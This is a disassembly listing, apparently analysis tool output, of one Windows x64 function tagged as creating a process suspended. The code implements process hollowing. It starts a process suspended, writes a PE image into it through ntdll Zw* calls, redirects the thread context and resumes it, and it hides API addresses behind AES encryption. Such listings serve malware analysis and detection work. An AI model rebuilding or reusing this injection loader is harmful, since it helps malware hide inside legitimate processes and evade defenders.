Function at 0x140003af0
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push rbp
push r14
lea rbp, [rsp - 0x1a38]
mov eax, 0x1b38
call fcn.1400080d0
sub rsp, rax
mov rax, qword [0x14000e040]
xor rax, rsp
mov qword [rbp + 0x1a00], rax
mov r14, rcx
mov qword [rsp + 0x50], r9
lea rcx, str.ntdll.dll
mov qword [rsp + 0x58], rdx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
jne 0x140003b42
lea rdx, str.Failed_to_get_handle_to_ntdll.dll
jmp 0x140003b64
lea rdx, str.ZwAllocateVirtualMemory
mov rcx, rax
call fcn.140003000
mov qword [0x1400100c8], rax
test rax, rax
jne 0x140003bad
lea rdx, str.Failed_to_get_ZwAllocateVirtualMemory_address
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400057f0
lea rdx, [0x1400059d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_initialize_Zw_functions
call fcn.1400057f0
mov rcx, rax
lea rdx, [0x1400059d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 0xffffffff
jmp 0x1400047d7
call fcn.140003320
mov r8d, 0x208
lea rdx, [rbp + 0x5e0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x140003bd5
mov eax, 0xfffffffe
jmp 0x1400047d7
lea rcx, str.kernel32.dll
mov qword [rsp + 0x1b18], r13
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r13, rax
test rax, rax
jne 0x140003c2c
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_get_handle_to_kernel32.dll
call fcn.1400057f0
mov rcx, rax
lea rdx, [0x1400059d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
mov eax, 1
jmp 0x1400047cf
mov qword [rsp + 0x1b60], rbx
mov qword [rsp + 0x1b30], rsi
mov qword [rsp + 0x1b28], rdi
mov qword [rsp + 0x1b20], r12
mov qword [rsp + 0x1b10], r15
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_key_length]
mov edx, eax
lea rcx, [rbp + 0x4a0]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_iv_length]
mov edx, eax
lea rcx, [rbp + 0x490]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
lea rdx, str.WriteProcessMemory
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
xor edi, edi
sub rax, r13
sub rcx, r13
mov qword [rbp + 0x458], rax
xor esi, esi
mov rax, qword [sym.imp.KERNEL32.dll_SetThreadContext]
xor r15d, r15d
sub rax, r13
mov qword [rbp + 0x450], rcx
mov qword [rbp + 0x460], rax
xor r12d, r12d
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
sub rax, r13
mov qword [rbp + 0x468], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rbx, rax
test rax, rax
jne 0x140003d1d
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
call fcn.1400057f0
mov rcx, rax
lea rdx, [0x1400059d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140003dd9
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
lea r9, [rbp + 0x4a0]
xor r8d, r8d
mov rdx, rax
mov rcx, rbx
lea rax, [rbp + 0x490]
mov qword [rsp + 0x20], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
cmp eax, 1
je 0x140003d6f
lea rdx, str.Failed_to_initialize_encryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400057f0
mov rcx, rax
lea rdx, [0x1400059d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140003dd0
lea r9, [rbp + 0x450]
mov dword [rsp + 0x20], 8
lea r8, [rsp + 0x60]
mov rcx, rbx
lea rdx, [rbp + 0x4e0]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
cmp eax, 1
je 0x140003da1
lea rdx, str.Failed_to_encrypt_data
jmp 0x140003d51
movsxd rdi, dword [rsp + 0x60]
lea rdx, [rbp + 0x4e0]
add rdx, rdi
lea r8, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
cmp eax, 1
je 0x140003dcc
lea rdx, str.Failed_to_finalize_encryption
jmp 0x140003d51
add edi, dword [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rbx, rax
test rax, rax
jne 0x140003e0f
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
call fcn.1400057f0
mov rcx, rax
lea rdx, [0x1400059d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140003ecb
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
lea r9, [rbp + 0x4a0]
xor r8d, r8d
mov rdx, rax
mov rcx, rbx
lea rax, [rbp + 0x490]
mov qword [rsp + 0x20], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
cmp eax, 1
je 0x140003e61
lea rdx, str.Failed_to_initialize_encryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400057f0
mov rcx, rax
lea rdx, [0x1400059d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140003ec2
lea r9, [rbp + 0x458]
mov dword [rsp + 0x20], 8
lea r8, [rsp + 0x60]
mov rcx, rbx
lea rdx, [rbp + 0x520]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
cmp eax, 1
je 0x140003e93
lea rdx, str.Failed_to_encrypt_data
jmp 0x140003e43
movsxd rsi, dword [rsp + 0x60]
lea rdx, [rbp + 0x520]
add rdx, rsi
lea r8, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
cmp eax, 1
je 0x140003ebe
lea rdx, str.Failed_to_finalize_encryption
jmp 0x140003e43
add esi, dword [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rbx, rax
test rax, rax
jne 0x140003f01
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
call fcn.1400057f0
mov rcx, rax
lea rdx, [0x1400059d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140003fbe
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
lea r9, [rbp + 0x4a0]
xor r8d, r8d
mov rdx, rax
mov rcx, rbx
lea rax, [rbp + 0x490]
mov qword [rsp + 0x20], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
cmp eax, 1
je 0x140003f53
lea rdx, str.Failed_to_initialize_encryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400057f0
mov rcx, rax
lea rdx, [0x1400059d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140003fb5
lea r9, [rbp + 0x460]
mov dword [rsp + 0x20], 8
lea r8, [rsp + 0x60]
mov rcx, rbx
lea rdx, [rbp + 0x560]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
cmp eax, 1
je 0x140003f85
lea rdx, str.Failed_to_encrypt_data
jmp 0x140003f35
movsxd r15, dword [rsp + 0x60]
lea rdx, [rbp + 0x560]
add rdx, r15
lea r8, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
cmp eax, 1
je 0x140003fb0
lea rdx, str.Failed_to_finalize_encryption
jmp 0x140003f35
add r15d, dword [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rbx, rax
test rax, rax
jne 0x140003ff4
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
call fcn.1400057f0
mov rcx, rax
lea rdx, [0x1400059d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400040b1
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
lea r9, [rbp + 0x4a0]
xor r8d, r8d
mov rdx, rax
mov rcx, rbx
lea rax, [rbp + 0x490]
mov qword [rsp + 0x20], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
cmp eax, 1
je 0x140004046
lea rdx, str.Failed_to_initialize_encryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400057f0
mov rcx, rax
lea rdx, [0x1400059d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400040a8
lea r9, [rbp + 0x468]
mov dword [rsp + 0x20], 8
lea r8, [rsp + 0x60]
mov rcx, rbx
lea rdx, [rbp + 0x5a0]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
cmp eax, 1
je 0x140004078
lea rdx, str.Failed_to_encrypt_data
jmp 0x140004028
movsxd r12, dword [rsp + 0x60]
lea rdx, [rbp + 0x5a0]
add rdx, r12
lea r8, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
cmp eax, 1
je 0x1400040a3
lea rdx, str.Failed_to_finalize_encryption
jmp 0x140004028
add r12d, dword [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rbx, rax
test rax, rax
jne 0x1400040e7
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
call fcn.1400057f0
mov rcx, rax
lea rdx, [0x1400059d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140004195
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
lea r9, [rbp + 0x4a0]
xor r8d, r8d
mov rdx, rax
mov rcx, rbx
lea rax, [rbp + 0x490]
mov qword [rsp + 0x20], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x14000411d
lea rdx, str.Failed_to_initialize_decryption
jmp 0x140004170
lea r9, [rbp + 0x4e0]
mov dword [rsp + 0x20], edi
lea r8, [rsp + 0x60]
mov rcx, rbx
lea rdx, [rsp + 0x78]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x140004149
lea rdx, str.Failed_to_decrypt_data
jmp 0x140004170
movsxd rax, dword [rsp + 0x60]
lea rdx, [rsp + 0x78]
add rdx, rax
lea r8, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x14000418c
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400057f0
lea rdx, [0x1400059d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rbx, rax
test rax, rax
jne 0x1400041cb
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
call fcn.1400057f0
mov rcx, rax
lea rdx, [0x1400059d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140004279
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
lea r9, [rbp + 0x4a0]
xor r8d, r8d
mov rdx, rax
mov rcx, rbx
lea rax, [rbp + 0x490]
mov qword [rsp + 0x20], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x140004201
lea rdx, str.Failed_to_initialize_decryption
jmp 0x140004254
lea r9, [rbp + 0x520]
mov dword [rsp + 0x20], esi
lea r8, [rsp + 0x60]
mov rcx, rbx
lea rdx, [rsp + 0x70]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x14000422d
lea rdx, str.Failed_to_decrypt_data
jmp 0x140004254
movsxd rax, dword [rsp + 0x60]
lea rdx, [rsp + 0x70]
add rdx, rax
lea r8, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x140004270
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400057f0
lea rdx, [0x1400059d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rbx, rax
test rax, rax
jne 0x1400042af
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
call fcn.1400057f0
mov rcx, rax
lea rdx, [0x1400059d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140004362
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
lea r9, [rbp + 0x4a0]
xor r8d, r8d
mov rdx, rax
mov rcx, rbx
lea rax, [rbp + 0x490]
mov qword [rsp + 0x20], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x1400042e5
lea rdx, str.Failed_to_initialize_decryption
jmp 0x14000433d
lea r9, [rbp + 0x560]
mov dword [rsp + 0x20], r15d
lea r8, [rsp + 0x60]
mov rcx, rbx
lea rdx, [rbp + 0x470]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x140004314
lea rdx, str.Failed_to_decrypt_data
jmp 0x14000433d
movsxd rax, dword [rsp + 0x60]
lea rdx, [rbp + 0x470]
add rdx, rax
lea r8, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x140004359
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400057f0
lea rdx, [0x1400059d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rbx, rax
test rax, rax
jne 0x140004398
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
call fcn.1400057f0
mov rcx, rax
lea rdx, [0x1400059d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14000444b
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
lea r9, [rbp + 0x4a0]
xor r8d, r8d
mov rdx, rax
mov rcx, rbx
lea rax, [rbp + 0x490]
mov qword [rsp + 0x20], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x1400043ce
lea rdx, str.Failed_to_initialize_decryption
jmp 0x140004426
lea r9, [rbp + 0x5a0]
mov dword [rsp + 0x20], r12d
lea r8, [rsp + 0x60]
mov rcx, rbx
lea rdx, [rbp + 0x478]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x1400043fd
lea rdx, str.Failed_to_decrypt_data
jmp 0x140004426
movsxd rax, dword [rsp + 0x60]
lea rdx, [rbp + 0x478]
add rdx, rax
lea r8, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x140004442
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400057f0
lea rdx, [0x1400059d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
mov r12, qword [rsp + 0x70]
lea rcx, [rbp + 0x7f0]
add r12, r13
xor edx, edx
mov r8d, 0x1208
call sub.VCRUNTIME140.dll_memset
lea rax, [rbp + 0x5e0]
mov rbx, 0xffffffffffffffff
inc rbx
cmp word [rax + rbx*2], 0
jne 0x140004475
add rbx, rbx
lea rdx, [rbp + 0x5e0]
mov r8, rbx
lea rcx, [rbp + 0x7f0]
call sub.VCRUNTIME140.dll_memcpy
movsxd rsi, dword [0x14000e0fc]
lea r13, [0x14000e0c0]
mov eax, 0x20
add rsi, r13
mov word [rbp + rbx + 0x7f0], ax
mov rax, qword [rsp + 0x50]
movzx eax, word [rax]
mov word [rbp + rbx + 0x7f2], ax
cmp dword [rsi], 0x4550
je 0x1400044d8
mov eax, 0xfffffffd
jmp 0x1400047a7
mov rax, qword [rsp + 0x58]
lea rdx, [rbp + 0x7f0]
mov qword [rsp + 0x48], r14
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
xor eax, eax
xor ecx, ecx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x140004526
mov eax, 0xfffffffc
jmp 0x1400047a7
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.ZwGetContextThread
call fcn.140003000
xor edx, edx
lea rcx, [rbp - 0x80]
mov r8d, 0x4d0
mov rbx, rax
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [r14 + 8]
lea rdx, [rbp - 0x80]
mov dword [rbp - 0x50], 0x10000b
call rbx
mov rcx, qword [r14]
test eax, eax
jns 0x140004583
mov edx, 0xfffffffb
call qword [0x1400100d8]
mov eax, 0xfffffffb
jmp 0x1400047a7
mov rax, qword [rsi + 0x30]
lea r9, [rbp + 0x480]
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
mov eax, dword [rsi + 0x50]
xor r8d, r8d
mov dword [rsp + 0x28], 0x40
mov qword [rbp + 0x480], rax
mov dword [rsp + 0x20], 0x3000
call qword [0x1400100c8]
test eax, eax
js 0x140004771
cmp qword [rsp + 0x68], 0
je 0x140004771
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
test rax, rax
jne 0x14000460e
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_get_handle_to_ntdll.dll
call fcn.1400057f0
mov rcx, rax
lea rdx, [0x1400059d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor eax, eax
jmp 0x1400047a7
lea rdx, str.ZwWriteVirtualMemory
mov rcx, rbx
call fcn.140003000
mov r15, rax
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
test r15, r15
jne 0x140004658
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str.Failed_to_get_address_of_ZwWriteVirtualMemory_n
call fcn.1400010a0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 0xffffffff
jmp 0x1400047a7
mov r9d, dword [rsi + 0x54]
lea rax, [rbp + 0x488]
mov rdx, qword [rsp + 0x68]
mov r8, r13
mov rcx, qword [r14]
mov qword [rsp + 0x20], rax
call r15
xor r10d, r10d
mov ebx, r10d
cmp r10w, word [rsi + 6]
jae 0x1400046df
mov edi, r10d
nop word [rax + rax]
movsxd rcx, dword [0x14000e0fc]
add rcx, rdi
mov qword [rsp + 0x20], r10
mov r8d, dword [rcx + r13 + 0x11c]
mov edx, dword [rcx + r13 + 0x114]
add r8, r13
mov r9d, dword [rcx + r13 + 0x118]
add rdx, qword [rsp + 0x68]
mov rcx, qword [r14]
call r12
test eax, eax
je 0x140004719
movzx eax, word [rsi + 6]
inc rbx
add rdi, 0x28
mov r10d, 0
cmp rbx, rax
jb 0x140004690
mov rdx, qword [rbp + 8]
lea r8, [rsp + 0x68]
mov rcx, qword [r14]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], r10
call r15
test eax, eax
je 0x14000472e
mov rcx, qword [r14]
mov edx, 0xfffffff7
call qword [0x1400100d8]
mov eax, 0xfffffff7
jmp 0x1400047a7
mov rcx, qword [r14]
mov edx, 0xfffffff8
call qword [0x1400100d8]
mov eax, 0xfffffff8
jmp 0x1400047a7
mov eax, dword [rsi + 0x28]
lea rdx, [rbp - 0x80]
add rax, qword [rsp + 0x68]
mov rcx, qword [r14 + 8]
mov qword [rbp], rax
call qword [0x1400100d0]
mov rcx, qword [r14 + 8]
xor edx, edx
call qword [0x1400100e0]
test eax, eax
je 0x140004607
mov rcx, qword [r14]
mov edx, 0xfffffff5
call qword [0x1400100d8]
mov eax, 0xfffffff5
jmp 0x1400047a7
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.ZwAllocateVirtualMemory_failed
call fcn.1400057f0
mov rcx, rax
lea rdx, [0x1400059d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [r14]
mov edx, 0xfffffffa
call qword [0x1400100d8]
mov eax, 0xfffffffa
mov rbx, qword [rsp + 0x1b60]
mov r12, qword [rsp + 0x1b20]
mov rdi, qword [rsp + 0x1b28]
mov rsi, qword [rsp + 0x1b30]
mov r15, qword [rsp + 0x1b10]
mov r13, qword [rsp + 0x1b18]
mov rcx, qword [rbp + 0x1a00]
xor rcx, rsp
